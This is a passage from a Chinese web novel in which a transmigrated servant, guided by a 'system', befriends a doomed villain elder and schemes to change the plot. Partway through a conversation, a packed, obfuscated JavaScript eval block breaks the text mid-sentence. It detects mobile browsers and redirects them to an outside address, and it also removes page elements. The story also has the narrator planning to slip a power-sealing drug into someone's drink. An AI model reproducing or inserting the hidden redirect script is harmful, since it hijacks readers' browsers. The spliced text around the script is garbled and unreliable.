【像是四位数,排序在五千开外,这样初出茅庐的统会对废物宿主大吼,说要根据宿主的烂泥程度给主脑疯狂提建议,我们这些老骨头不会,全程冷静得像人机,透着淡淡的微死感,这样不好吗?还是你希望每天一睁眼一个统给你唱rap……唱曲儿加油打气,吵得你无法做事。你要是希望……我也可以激活这方面程序多努力。】 我想一下这个小圆球围着我旋转,脑海声音疯狂催促我认真干活的样子。 「不,你现在这样内核稳定,我十分适应。」 和它说几句话,就会让我稍微安心些许。 对了,那个忘了乐谱的人……一直没来呢。 · 希梦淮在院子门外徘徊。 她无数次从空中落到院中,院中景象她一清二楚。 但如今……她想进去,必须走正门,跨越那道门槛。 对希梦淮来说,那道门槛就像一座山。她跨不过去,也不知……要怎么跨过去。 她按照规矩修行了九千年。只要继续规矩下去,就能成仙。 她不敢。 不敢打破规矩。其实,她悄悄去,也无人发现。但是……如果她真的这么做了,这件事会成为她以后一个只有自己知晓的污点,问心有愧者,就算成了仙,迟早有一天被心魔反噬。 她不愿做这样的事。 可是缺了一半的乐谱又不完整……不完整的东西……她很难受。 两股念头在脑海中打架,希梦淮坐也不是站也不是,一整天下来毛毛躁躁,活也干不好了。 其实现在的她只想去一个能让她放松的地方,好好歇一会。 或者站在池边,看看她一直在喂的鱼。 终于在这个剩下半抹残阳的傍晚,她咬咬牙,来了小院门外。 来了……她更没办法,在这里走过了三次,都没能跨过门槛,向里面的人讨要她的乐谱。 希梦淮垂头丧气,正要走完她的第四次路过。 “你,在这里做什么?” 前方忽然有声音问她,听着是个女孩子,声音沉稳,有点慵懒。 她抬头。 夕阳在来人背后投出影子,长长影子落在她脚下,来人背着光,看不清脸,也不太能分辨衣裳颜色。 根本认不出是不是她教的学徒,或是哪个学徒的仆人。 “我,我把东西忘在这里了。”可能正是因为看不清来人是谁,因为这个人一点不焦急,坐立难安一天的希梦淮一时情急,把这件事对来人脱口而出。 来人指向院门:“那,你就敲敲门,进去啊。要是院子里这会没人,你也敲了门,不就可以拿出来?” 声音懒洋洋的, 希梦淮不禁反问:“要是有人呢……?” “院子里要是有仆从,你说一声,就也能拿出来了。” 希梦淮咬嘴唇不说话, 如果真这么简单。她何必在这里徘徊。 来人从背光中向她伸出一只手,她这回看清了,这人不是某个学徒。没有穿制服。想来也不认识她。 “要不这样,你把手伸给我,我帮你。”懒懒的声音晃一晃手,那是一只女孩子的手,五指修长,指尖有薄茧,像是常用刀和弓箭留下,手指和衣袖在夕阳中染上蜜色阴影。 希梦淮一时病急乱投医。因为对方懒洋洋,看起来也不认识她。她想—— 反正是个女孩子把衣袖给她也不能怎样,如果真能有帮助的话—— 就伸手了, 她的手腕被一把握住,对方隔着衣袖,用劲拉着她向院门连跑好几步,一掌推开门: “娘,小姐!我回来啦!” 反应不及的希梦淮,就这样被拉拽着, 越过那个她两天都不敢跨过的门槛,她只觉得。穿过门槛的瞬间, 是一个夜晚的梦。如果对方一松手。 她就会落回这个梦未曾出现前。 这种紧绷的心跳没能持续多久,女孩子拉着她跑进门,跑向院中摆着的一张圆桌。 桌边已经有两个人,看来正准备吃饭。 希梦淮下意识后退。 · 我拉住想要后退的希梦淮。 我认出她来了。只是我没想到,她是一个授课的长老,竟然也要做打扫工作? 而且,她看着不像那种唯唯诺诺的人,系统说她是反派,可是她——竟然不敢敲外门学徒的院门? 我按下惊讶,「还需要多久能解析出她的剧情?」 【得需要一会,看能不能拖住她。】 桌上饭菜已经布好,两人并未对我拉进来个人表示反对。 我家小姐主动邀请:“不嫌弃的话,还请希长老留下。” 希梦淮更想退了。但她没有用法术,就只是一股向后退的力道。 我悄悄晃一晃她手臂,示意她看向我手中。 我对她举着那罐鱼食,笑:“这边是我家小姐,那边是我娘,院子里只有我们三人。我们看见那个乐谱了,收了起来,不如先吃顿饭,吃完还给你?” 希梦淮没有拒绝,有些僵硬地被我按在座位上。 是她没有拒绝,不然我们不可能留得住她,她……看起来很喜欢这个院子。 只是一开始不知道为什么那么不愿进来。 在座位上,希梦淮渐渐恢复成第一次见时的样子,紫衣飘飘,神态自若。而且胃口很好,好像做了很多体力活。 我们没说话,吃完了饭。 我把乐谱还给希梦淮,她接了,还对我说谢谢,然后看池里的鱼。 我们一起看。 我说:“今天喂过了,这些鱼是你一直在喂的吧,长得很漂亮,你是养鱼圣手,鱼儿长得金光闪闪。” 希梦淮浅笑:“门派里有修建池塘,但是不特意养活物,更没有观赏鱼。有些学徒……经常对着池水试法术效果,自然生长的那些我们不去管,鱼儿也是性命,观赏的就不放进去了。” 她声音细,说话却偏低沉,现在没有刚才那股紧张,语气平稳起来。 在这之前我还以为她是娇纵凌厉性格,现在看来不是。 “小姐昨天就叮嘱有人来要把东西还回去,我家小姐不吃人的。再说,你……您是长老,只需说一声……”把看起来和我一样大的希梦淮叫作敬称,感觉很奇怪。而且完全不会让人感受到真的有被敬重。 ……人真的能做到敬重自己的同龄人么? 希梦淮看着她的鱼儿,池中波光在她脸颊晃动,她好像……做了一个决定。 “不必那么称呼我,是我不太敢。”她说,“在你们没来这里之前,我经常一个人在这弹琴舞剑,我喜欢这个院子,这里很久很久没有人住,是我在打扫。” “那你完全可以向掌门申请……”住在这里不就好了。 希梦淮摇头:“我是内门学徒,有自己的宿舍,住在这不合规矩。而且住这里要缴纳供奉,我领的月钱不足以支付。” 我家小姐一直没说话。 我知道,她是为了避嫌。 因为希梦淮到底是一门长老,而她是学徒。理论上来说她不便和希梦淮太热络。 希梦淮是知道的,所以小姐安静坐着,她也不去搭话,就由我来和她说。 “那你过来嘛。”我替小姐开口,“是我邀请你的,并非我家小姐,不算与学徒私下交往。” 希梦淮脱口而出:“你是她的手足……抱歉这样问,虽然你说你们是主仆,但其实并不像。” “我们没有血缘关系。胜似亲人。” 我这样回答。 眼角余光瞥见我娘正要去收拾碗盘清洗。 今天的碗盘很多,“我娘要去收拾了,我先去帮她。” “我帮你们。” 我看见希梦淮露出笑容。 她笑起来,很好看。 本身是甜美精致长相,一笑,楚楚动人。 这样一个人……也是反派。 她会死。 为什么? 她一千年后说不定就会成仙,为什么要为了女主放弃自己现有的一切?就为了刁难女主? 我娘站在水槽前,今天的她……她看起来有点破釜沉舟下定决心的感觉。 站在一水槽待洗碗盘前,好像认了命似的伸手去碰, “娘。我们来帮忙啦!” 平时我们确实不需要做这些,但就像娘能学会烹饪,我也会去洗碗盘,我们不会让小姐自己做这些。 “你们请我吃了饭,我来吧。” 希梦淮上前,一挥衣袖, 风带起水花,冲洗碗盘,第一遍带着泡沫,三次之后碗盘干干净净。 又快又整洁。 这就是,法术。 希梦淮没有炫耀,而是认真地说:“如果你家小姐学得好,法术会有很多用处。” “会的。”我笃定,“我想她会。我家小姐不是轻言放弃的人,我们来也不是为了镀金过后回去。” 确实有许多世家,来这里一次,也算寻仙问道过,学得些许法术皮毛,以后也会让很多普通人忌惮。 “嗯。” “你要不要弹一首?” “欸?” “因为你看起来有烦心事。” 希梦淮真的拿出了琴。 她没有上手弹,只是衣袖抚过,琴弦演奏出旋律,正是那半张乐谱上内容。 月色悄然降临。 轻柔哼唱随着晚风,随着旋律起伏。 一白一紫两道身影,隔着距离,在鱼池边。小姐双手扣在一起,轻轻和声。 我们都看过那张乐谱。 我捡起一片落叶。 我家小姐会琵琶。 并不是她愿意学,是出身世家必须从小有能拿得出手的乐器, 我会吹树叶笛。 起源于某次小姐把琵琶弹断了弦,我捡起地上的叶子逗小姐开心。刚开始都是不成调的,很多年过去,小姐的琵琶不比乐师差,我吹树叶也不至于像最初一样难听。 小姐每次都笑着点一点我的脸,说,‘灵佑吹得最好啦。’ 她真可爱。 当我吹响时,希梦淮看向我,她没看太久,发现是我在吹后就又把注意力放回到琴上。 古琴低沉浑厚,树叶吹出来轻快,在足够响亮的琴声中并不突出,也没有小姐的和声好听。 这样就很好。 我想,我大概是会成为小姐人生里的配角,自从我决定拯救她,最后一定会是这样。她一定会拥有属于她自己,幸福绵长的一生。 我也不希望希梦淮死掉。 就说成是反派们的抱团取暖好了。 这个夜晚陷落在有些奇妙氛围中,不轻,不重。 它既轻又沉重。 它轻重得刚刚好。让我看见某些命运,在转动。 「是……这样吗?」 【是的。】 系统先告诉了我结果。 【希梦淮死得很惨,尸骨无存。】 我叹口气,和系统笑:「没事,我想办法救她。」 “吹树叶有点难听?”我问。 希梦淮刚好在半张乐谱断裂处结束。她发现我和小姐看过乐谱了,调子对得上。 “怎么会?上佳!我见过一个音修,用刀也能演奏。没有高雅之分,高兴就好。”希梦淮开心了点,说话也轻快起来,她的声音不自觉变得飞扬, 轻轻柔柔的,抓了我一下。 痒痒的。 我……我可能是和小姐抱抱惯了,这个瞬间,我也想抱希梦淮。 她也可爱。 我忍住抓心的痒。 “我们……我们是什么关系?”希梦淮忽然问我。 “朋友啊。”我说。 是朋友的话,以后她就会让我抱住了吧。 哦,我好像个登徒子。 算了。我就是喜欢女孩子。我又不做什么,只是希望本该死去的人能幸福活下去。 “嗯。”希梦淮握了我的手,“你好,我是希梦淮。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502588|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “褚灵佑。” 就算我真实年纪还没有她零头多,她在我眼中是个年轻女孩子,和我家小姐一样,不该年纪轻轻就去死。 希梦淮踌躇,“我没有过朋友。不知道能不能和你相处得好。就像我有许多同门,但她们不会和我交朋友。而且——而且……” “人与人之间,是相处过,才能得出结果。有些人能够相处,有些人不能。”我意识到她想说什么,“我对女孩子脾气很好的,你可以试试。而且呢,或许我们寿命并不相同,但人生就是这样,哪怕是家人,也不会一辈子在一起。然后你会遇见新朋友,记得快乐的日子,而不是一直悲伤。我不认为我会成为一个最后只让你感到悲伤的糟糕朋友。” “不会吗?会和家人分开吗?你为什么……我活了九千多年,很难……很难想象和母亲分开,离开这里的日子。” “因为,”我好像在引诱希梦淮,声音变得轻缓, “人生短暂啊。你可能忘记了,在没有以修仙为目标前的日子。人的一生主张及时行乐,嗯,以后我告诉你一点普通人的乐趣,如何?” 希梦淮应该是……脸红了。 很明显的。 她应了一声。 然后和我们说了再见。 离开的样子也有点可爱。感觉有被疗愈,心情舒畅。 入睡前,夜里。 「现在你说吧。我准备好了。」 我准备好听一个残酷故事。 系统为了配合我理解,这次采用逐字逐句口诉。 【解析结果:希梦淮,在女主升为内门学徒后第一场试炼中,利用长老身份使女主在试炼时落水,被水卷到人界界门附近的漏洞处,女主因此魂魄离体掉落鬼界,鬼界因为关系特殊,整个界四处是漏洞,女主掉进去一点不奇怪,因此遇见了现任鬼王的姐姐湛仄,鬼界众鬼皆知,鬼王虽然当政,但实际掌权人是前任鬼王的亲生女儿湛仄,鬼王不过是她手下工具人,湛仄为……嗯嗯嗯?怎么回事,我这里竟然出现乱码?!】 系统一声惊叫,把认真听故事的我吓一跳,「怎么回事?」 【不知道……这上面显示湛仄为一个人工作,但人名是乱码,算了不重要,我继续说。湛仄因为为了这个人工作,觉得女主本身来历不明非常可疑,把女主带走审问,别看湛仄表面上看起来是十岁小女娃,实际上手段凌厉狠辣,女主被她带走差点被扒了皮,从内到外碎一遍,然后湛仄把女主扔进鬼界最深处,万鬼哀嚎窟下方的炼狱,这里是世间最作恶多端的鬼受刑的地方,这些鬼要在受刑结束后再从万鬼哀嚎窟爬上去,才能去做鬼修或是入冥河,听说至今为止从未有过鬼从里面出来。女主进去什么样可想而知。】 「冥河……」鬼界有一条冥河,不想做鬼修的灵魂跳入冥河,听说冥河上有摆渡人,送灵魂转世投胎。 但我总觉得哪里怪怪的。 按照系统透露给我的,三次元世界信息,它们以收割二次元世界能量维生……灵魂被送走转世投胎估计只是个骗局,实际是被吸收殆尽了吧。 ……无形中知道一个世界真相。你死了没有投胎转世。 其实还不错。 【我看宿主接受挺好的,你们这里的转世说法我不能苟同啦,因为我们那边根本没有轮回转世这一说,极光千百年出现一次,会带走所有滞留的灵魂,但是活着的生灵总是有点追求更好。嗯……然后再说门派这边。女主的身体被人找到,希汀吟发现女主是魂魄离体而非死去,就用法宝为女主续命,开始排查到底怎么回事,希梦淮自己认了错,希汀吟没想到女儿这么狠毒,一怒之下派她独自去查这件事,女主的魂魄找不回来就和她断绝关系,希梦淮自己去了鬼界,一路打听消息找上了湛仄。】 【女主在炼狱中受尽刑罚,成功炼化出剑灵,哦,她的剑有剑灵之后就是灵魂绑定的了,剑不在身边也能召唤出个剑的形态,她的剑灵天生克制恶念,一人一剑在炼狱大开杀戒,杀出一条血路爬出炼狱。】 「剑灵?」我一脸懵,「那东西真实存在?我还以为是修仙题材戏剧话本里,那些修士修仙疯魔的幻想呢。普天之下单说神界,神界仙门万家大能无数,也没见谁真的炼化出剑灵。这得是多大的机缘,而且还是独一无二……」 【不然怎么说她是女主。听我继续说。】 【与此同时,希梦淮和湛仄提出一命换一命,代替女主去下面受刑,湛仄同意了,希梦淮自己跳下去,与正在砍杀向上爬的女主擦肩而过,把发生的这些传音告诉了女主,女主从打开的出口出去,希梦淮沉入鬼界最深处炼狱,至此下线。咳。其实,这里应该是作者留了个伏笔,希梦淮这个反派以后应该会学成归来再次上线,但是读者当时骂得太凶,加上作者本身精神不太好,希梦淮就这么下线了。】 系统的解说,一直游走于世界之外,是外来者口吻。它不关心任何角色生死,只关心它的工作。这样的系统为什么要犹豫? 我问:「怎么,你有疑惑?」 【是。希梦淮看起来不像是会寻死之人。或许是作者主观上不想要这个角色了吧,给了她一个剧情杀。这种桥段在故事中可多,你不一定改变得了。】 会是这样吗? 我的世界,它的创作者,是一个随随便便让反派登场,随随便便让反派死去的人。如果不倾注爱的话。 角色一定会是肤浅的。 我一点不认为我遇见的人们肤浅,我觉得每个人都很好。 「不是。」我说,「你看,希梦淮是希汀吟收养的孩子,九千年来,希汀吟是她在这个世界上接触最多的人,但是呢……据我们所知,希汀吟从第一次见到女主起,似乎就没有一碗水端平。」 【这倒是,她上一世破格录用女主,这一世,她当时看向你这边,根本没看你,她在看女主。希汀吟这个角色不是反派,作者设定应该是她无脑偏爱女主,你要接受嘛,那种一见就喜欢,没办法改的,女主身边这么多反派,当然也有对她好的人。女主现在肯定在这里,等你有空多走走,从角色们身上破解信息,我们能推测出女主在哪遇见她,你救不了希梦淮也没关系。】 我还在思索。 「希汀吟有些奇怪。真的毫无理由偏爱一个人,很少。人与人之间要相处过才会知道合不合适,上一世她只见女主一面,就决定帮助女主。而且,会清露告诉过我,她一直致力于把学生送到神界,她很执着,这样的人应该不会仅凭借一面之缘偏向一个人,除非那个人……」 【你是说希汀吟认识女主?不可能,我们的信息源自女主记忆,在相遇之前女主记忆中没有这个人。】 问题就在这。希汀吟是大门派的掌门,从人生轨迹上来看,也没可能认识女主。希梦淮是她的养女而不是亲生,从她出入神界来看,本身不曾有过姻缘,女主更不可能是她的孩子或亲族。 我想了一下希梦淮。 系统说:【修行之人,理论上来说她可以让自身维持在任何一个年龄段,但她还没长大,还会依恋家人。至少行为分析上来看是,所以她外貌和你同龄。而且,你该意识到一件事,修仙者长期处于不会变化的环境中,同样的人,同样事物,一相处就是几千年,在心智阅历上……可能不会有太强烈的变化,你见她是同龄人,她也的确是你的同龄人。】 系统说得很对。 她明明可以私下进来拿走东西,但是她一定要从正门进,她是那种很守规矩的人。这个人啊……活了这么多年,没有朋友,没有太多爱好。 为数不多这么多年来一直接触的人,就是希汀吟了吧。 希梦淮不像是个大人。而是孩子。有希汀吟在,她的成仙之路想来一帆风顺,不会像女主一样心智早熟。 「女主偷跑确实不对,但我们知道她是被荷乘蕴追杀迫不得已,荷乘蕴看着就很生气,朋友和徒儿都因为女主死了,女主却滑得很怎么也抓不住,我是她我也生气,会觉得自己很没用,所有这些事……你应该发现了,这些事环环相扣。」 【是。所以你很难打破女主的执着,她明知偏要。】 是的,每次一想到世界按照它的规则运转。 其实很可怕。 哪怕只是世界的一粒尘埃,压到一个人身上时,能感受到的只有窒息。 「这个世界,逻辑分明。作者不是那种马虎对待角色的人,有自己的逻辑。」 我做出属于我的判断: 「希梦淮说不定是……死的时候万念俱灰,她既然是反派,平时又教课,肯定会严格对待甚至苛责女主,但是女主没有平时受刁难怀恨在心的念头,记忆中只有希梦淮最后做得这次,侧面说明她并不在意这些刁难,应该也没去告过状。有时候这些忍气吞声往往也会成为一种巧合。」 「我们知道希汀吟偏心,发现希梦淮这样,在女主不知道的记忆之外,说不定私下里训斥过希梦淮,导致了希梦淮最后陷害女主。她还是个孩子,她去自首,也许第一想法不是要承担责任,正相反,她是在逃避,她母亲不在乎她更在乎新来的学徒,成仙的修行又这么无聊,以后就算成仙了也只会更加无聊,她会不会一时想不开,觉得死了算了。这么推论完全说得通,说不定她就是这样被很多巧合逼死的。巧合多了怎么能叫巧合?所以,我们要解决这件事,绝对不能只从希梦淮一个人着手,希汀吟那边也得带上,最好能搞清楚她脑子里在想什么,为什么这么偏心女主一个外人。」 整个世界,我那迷雾笼罩的未来,随着我认真思考,掀开了一点。 心情豁然开朗。 【宿主,你真有当神医的天赋。而且……你好像交到一个朋友。我有必要采集宿主喜好倾向,请问,宿主喜欢希梦淮的什么?】 「她是个可爱女孩子。性格,声音,相貌,都算吧。」我说,「我想抱她。」 【……】系统诡异沉默一瞬。 【是的,知道了。女主文中女性角色登场较多,恭喜宿主。】 「这有什么好恭喜,我也有不太喜欢的女孩子。那些背后说我家小姐没娘的世家女我就不喜欢。」 【宿主不必见外,我们统非常开明,就像我们存储的资料,有一大部分是人外,就算宿主哪天把人类部分看完,也不必担心没东西看。】 「……」忽然有点疲惫感。 对了。之前……我不是在想一件事吗? 我是直接吸纳能量的。我能够用灵石中的微弱能量作为补充, 钱,可以成为我的命? 怀抱疑惑,我找出一颗灵石。开始想象灵石上有接口,我的手也有接口。我吸引它把能量传输向我…… 有什么契约在这一瞬间成立。 微弱能量传递进来,与此同时,铜色石头化作粉末,像遇水的纸一样在指间消散。 我惊愕。 修行……我这套功法的人,可以烧钱续命。这,这算什么。 其中一个世界真相? 我望着烛光喃喃自语。「研究这套功法的人,是真的看破了世界。也许不完全……但一定知道很多世界的秘密。」 【那你要更加小心。我的宿主。世界查看每个角色。你窥视世界,世界也窥视你。】 我僵住, 我想到一个可能。 「世界没有眼睛。它能看见每个人。难不成,它的眼睛在世间每个生灵身上。这些伴随法术生成的契约,难道,在我们身上,降生起就有?世界通过它监视我们。」 【是……有点奇怪。大部分世界不会这样,但也有可能,这是这本书的设定,你也知道作者精神不太好,或许能看见和大部分人眼中不相同的世界,然后被判定为需要接受心理诊疗,所以才对心理治疗措施熟悉。】 是啊,我在一本很有可能设定严谨的书里,世界上一切法术都需要建立契约…… 我想到了。 我需要制作一个能量转换法术,把能量转化成符合令牌的……接收规格,对它传输进去…… 哦,我真像个系统。 睡吧。 我吹熄了蜡烛。 9.仇上加仇 第三天,我通过了伴读培训测试。 测试内容先是答题笔试,然后是根据情景自己决定如何做的面试。 我有服侍小姐多年的基础,也陪着小姐在社交宴会中经历过来,说实话,熟记门派的规矩并没有应对世家麻烦,很多东西赵长老不会教,需要自己揣测理解,一旦有特殊情况发生,你不能说你这样做是门派教出来的规矩,门派不会这样得罪人。 伴读不是每堂课站在自家主人身后看眼色端茶递水,而是要陪在主人身边,一起听课,只是不会被过问成绩,不参加测试。 根据这两天旁听来的对话,不少伴读……出自有意走仙途却天资不足无法求学的富贵商贾之家。伴读只是个身份,而在内门中,也不乏有曾经大器晚成的伴读,主人走了,伴读因为天赋显现,通过一些考试后成为学徒继续求学,最后问鼎神界。这并不是鼓励人的空话,成为内门学徒后能够进入门派祠堂,参拜里面的仙人牌位,如果能飞升神界,同门的仙人都是你的同伴,门派越大庇佑越大。 我领了灰色伴读制服,上面绣着我的名字。 说是领取,其实仍旧需要付灵石来买,用料一般的衣服,一套抵得上小姐去参加宴会的礼服。 小姐叮嘱我多领几套留着备用,她此次出行城主交代不必刻意节省开销,女子追求男子和男子追求女子是一样的,金钱开路,送礼讨欢心,增加接触机会。需要什么寄家书回去,不必担心钱不够用。 城主……是个很爱女儿的爹。女儿奴吧。就算我家小姐说想要皇女的行头,他也会想办法弄来。听说当初和夫人是自由恋爱,然后才知道其实夫人是朝中高官的女儿,两人门当户对,是绝世无双的好姻缘,蜜里调油数年才决定要一个孩子,没想到夫人生育难产撒手人寰……小姐完全是爱情结晶,夫人去世后城主至今未再娶。小姐和在京城的外祖姚家也常往来,其中一部分社交宴会正源自于此,尤其是在姚老大人卸官携老夫人四处游历后,两人每到一处城池定要给小姐留意人选。 想到小姐婚事。 男配说得入赘也是真的,人界女子地位低,这不假,可也要看女方家族势力。他要娶玉家的独生女,即便名姓不改,在旁人眼里他头上顶着入赘二字。 吃谁的软饭不是吃呢。未入赘前吃贵妃娘的,入赘后吃妻家的。有点上进心的都觉得这样下去不行吧,男配那一脸不在乎,他是真觉得这么吃下去很好。 就在这瞬间,我顿悟一个道理。莫非……世间废物男,都要配一个强势夫人? 太有道理,我说不出话来,无语良久。 主要是……小姐看上男配时的眼神,现在我想起来仍旧心有余悸。太疯了。 不是不合逻辑,是诡异。 诡异的事不需要逻辑推敲。就只是很诡异。可我……也庆幸小姐看上个门当户对的。倘若她看上哪个浪荡子,想进入门派求学根本无可能。 仔细一想,真是。所有的事,巧过头了。如果不是因为小姐看上一心要进门派的男配,我们现在还在过在宴会上浪费口舌被言语冒犯然后我扇人巴掌的日子。 城主虽然溺爱小姐,但对小姐什么年纪该做什么事从不马虎,加上婚姻幸福的人会认为结婚是能让生活更幸福的方式,所以对小姐婚事势在必行,只是因为自己深爱夫人,也支持小姐能找到门当户对彼此相爱的对象。不过我想他应该很不希望小姐有孩子吧,十年前我偶然听到城主祭拜夫人灵位时说要是当时研究出更有效的避孕药就不会……人界医馆普遍不售卖避孕药,这类药需要找门路求购。这些话我没告诉过小姐,话虽如此,城主还是很溺爱小姐的,他从不责怪在宴会上纵容我扇人巴掌的小姐。 在他身上没有那些因为妻子难产去世从此憎恨刚出世孩子的戏码。夫人过世后城主确实悲伤了一阵,违逆老夫人和全家族旨意把夫人迁入玉家祠堂。原本女眷不能入祠堂,老家主早就西去,再无人阻拦城主,家族成员都很担心城主做别的,然而城主再没做什么很出格的事,就把祠堂修了修,搞得神秘兮兮不让人进,十年前我是怎么进去的?这事以后再说……那之后不久老夫人寿终正寝,我对老夫人没什么印象。 「系统,城主是什么角色?」 系统有问必答: 【背景板,工具人。只存在于对话中,不会真的出现,也不会发生一些对你家小姐逼婚情节,因为前世你家小姐活不到那时候。这是常见套路啦,只有主角开局才会孤家寡人一个,要是有家人,没准要祭天的。炮灰配角懒得细想,就会设定成家庭幸福这种。】 「……」真够直白。 城主怎么会是背景板?我和娘每月总要见城主面汇报小姐近况,对这个人还有印象,是很普通的中年男子……欸? 仔细一想,想不起对方容貌。 【对,这就是世界的力量,剧情不需要的人物在还是背景板时,大部分人不会注意到这个角色,没有太多思绪力量附加在角色身上,所以能想象到的是大众印象。】 「就是说,反派们退场那天,世界之外看着我们的读者,很开心?」 【嗯,差不多。毕竟是作者写出来的故事。不过请别探究作者身份,我们有匿名保护。防止作者在家门口被堵截。】 ……那这事听起来发生过不少。 「成为真实后的世界,还有读者在看吗?」 【这是我们主脑用来维护世界发展的重要资源,不会给外人看的。所以宿主把故事发展成什么样,只要系统能够收集到指定数额能量,都无所谓。主脑不关心一个小世界如何发展。】 「……那如果想让小世界和主脑不再有联系呢?」 【让通道关闭即可。连接主脑的通道,被切断,小世界就和主脑没有联系,不管是穿越者还是系统都再找不到地址,无法进来。之所以可以对宿主说这些,是因为这里只是一本书,从次元上看,宿主无法去往主脑的世界,也无法切断通道,就当听故事,多好。】 我把多买的几套伴读制服晾在院中。秋日阳光,会让衣服有清新味道。 「你老实说,第一天见我是不是故意装蠢,不然为什么别人都见不到只有我能碰到你?」 【对。宿主肯定会发现,我没必要撒谎。或者你需要统娇羞一些,说讨厌~被你发现了啦~?】 那就不必了。 我看看时间已经到下午,忙于社交的我家小姐快回来了,娘应该也快采买回来,这时去能在山门附近接到她。 我把院门锁好。 这里每处院落都有结界,被居住者邀请从门进入才可以通过,如果院子里的人离开,结界自动封闭,锁不锁门其实没区别。 但锁上总是好的,会让我安心。 还没走出太远,我就看见我娘。她常穿一身暗紫色衣服,是三十几岁妇人常见的颜色款式,正拎着两袋东西不紧不慢地走。 我过去,帮她拎起一袋,“娘~”眼睛弯弯撒娇。 “灵佑。”她忽然叫我。 “嗯?” “和小姐去上学……多留心。”她叮嘱我。 “会的啦。”我伸出手来拍胸脯,蹦跳着跑到她面前,倒退着走,“这是我的职责!” 嘿嘿,她还是关心我的。 “娘最好了。”我把脸贴在她胸前。 我娘稍微后退了一下。 对哦,我想起来,娘可能是觉得我这么大个姑娘,和她撒娇,她有点臊,和我说过尽量别埋胸。 “好嘛~”我挽住我娘手臂,“我们回家。” 娘没再躲:“好。” 太阳落山后,希梦淮来了。 “扫除都做完了?”我问。 “是的。”希梦淮语气轻快不少。 “你为什么要做打扫工作,又要教课又要打扫,还有学业,不累么?” 希梦淮含糊:“有点事。我是被罚的。母亲罚我来。” 还真是这么回事。没想到……她这么快就对女主动手了。女主打破了规矩,她应该很介意,时时刻刻盯着。 “等你觉得可以告诉我时再对我说,如果你没有很不开心,我不问。”我不会也紧逼着她,给她压力只会提前她崩溃的时间。 “……好。”希梦淮看向我:“我观察许久,你们中,似乎无人穿水蓝色衣服,且那件衣服尺码与你们三人都不合。” 我看晾衣架。 那不是,我的伴读制服吗?灰色的,没有水蓝色。 水蓝色…… 我最近应该在哪看见过穿水蓝色的人吧。 那种很漂亮而且暴脾气的女修姐姐。她的尺码肯定跟我们所有人都不合。 “那个啊,是友人落在这里的。不回来拿就先收起来。” “还有这样的事?”希梦淮大感惊奇。 “有的,朋友的话,互相穿对方的衣服也很常见,那是关系非常好的朋友。”不过那人应该不会愿意和我做朋友就是了。 她那么执着,就为了给自己的亲友报仇,其实并不让人讨厌,是个很努力的人。 “褚灵佑……”希梦淮叫我,“你……要活得长一点。” “会的啦。我们都会。”我拍拍她,示意她放心。 她可能不知道,她这样真的很可爱,很能疗愈为未来感到不安的我。 知道说要找我寻仇的人来了,多少会有点怕,那个人修为不低,能把女主打到死呢。院子的结界自然难不住她。 我……得联系莫莹绣。 我一定能做到。激活令牌。 入夜。 我趴在窗边。 第不知多少次尝试。 从系统那看了不少资料……这些东西,偶尔也会让我冒火。 我只能不去想。 说到底,我差一点什么呢。 想要和人联结的心情……想要告诉朋友……可以和对方约见,一起度过快乐的时间。 ……就好了。 欸。 这块牌子,亮起来了。 一瞬间,风声静止。 我又一次陷入似真似幻的结界。 回神,莫莹绣在我面前。 “恭喜。”她说。 “我算不算有天赋?”我问她。 她认真想,“算。我当初用了一个月。” 她对我发布新任务:“接下来,你要找到你最擅长的法术方向,更多感悟这个世界。” “好。”我问莫莹绣,“你眼中的世界,是由能量构成吗?” “能量?”莫莹绣没能理解。 “嗯,不重要,随口一问。”看来好像真的只有我能看见能量流动的世界。 也不是,还有系统呢。 我再问:“有没有什么办法可以让修士暂时使不出法术?” 莫莹绣二话不说递给我一个小香囊,完全不问我要做什么,“这是我自己研制的丹药,让人吃下去,立即生效。效果一刻钟,对仙人也管用。” 我:“……谢谢。你能不能帮我在房间里做一个能让人吃下药的法术,比如让人产生想喝水的念头,然后我桌子上正好摆着放了药的水。” 我心想,大概不行吧,目的这么明显。再怎么说她也是教我东西的人,她也不怕我用这些药做什么。根据系统给我那些资料,一刻钟够做好多事了…… “这个很容易,也许用不上法术。如果大量运动忘记喝水,就算是仙,也会产生口渴念头。或者自身感到紧张时,都会想喝水。” 我盯着莫莹绣的脸。 她有一双仔细看带着紫色的眼睛。 她看起来……完全不觉得我们在讨论什么很犯罪的话题。 她真是个有问必答的好老师。 “你就不觉得……我可能要用它做什么事?”当个采花大盗什么的。 莫莹绣像是猜到我想什么一般:“怎么会,那样的药会让目标对象昏睡,你只是封住法术,人还是可以做很多事。是你要困住的目标比你厉害许多。” 我忘了,她很精通心理学。这套功法…… 可是她有点呆呆的哎,像个不太爱说话的文静邻家姐姐。 我拉住莫莹绣的手:“谢谢啦。你也要多小心,别被发现,这里的掌门据说很厉害,也是个仙人。” “……好。” 莫莹绣又像来时一样悄然走了。 我开始谋划我的计策。 · 时间回到傍晚。 荷乘蕴拿着重金买来的地图,在希行门的镇山结界薄弱处解阵——为了弄到买这张地图的钱,她一个琉璃乐阁的长老,给那些富家小姐当了两天乐师,如果不是乐师本身只坐在幕后弹曲不见客,她不可能找这份差事。 但一切都是值得的! 她从万鲤宫买到消息,她那个仇人叫云间月,是希行门秋招的新学徒。她这就去砍了她为徒儿和熟人报仇! 成了! 这里是她观察许久找到的疏漏,负责加固这处结界的内门学徒不知干嘛去了,总不会是去做打扫工作,想来是去哪里摸鱼偷懒,她平日里最讨厌这些不认真对待工作的学徒……不对,现在这样正好,她悄无声息混入简直轻而易举。 虽然蹲了两个时辰。 轻而易举! 荷乘蕴终于真正踏上希行门地界。 好多树……树…… 她看看地图。这地图很详细。 她从小就不会分方向,不然也不会被主家扔在陌生城池里找不到路回去,沦为乞丐走投无路才做了修士……哪个修士不是吃得苦中苦爬出来的,七千年前的人界,能吃上一口饭,人绝对不会去寻仙。去寻仙的都是自己也快饿死成仙了,不像现在还算太平,门派才有这么多学徒入学。 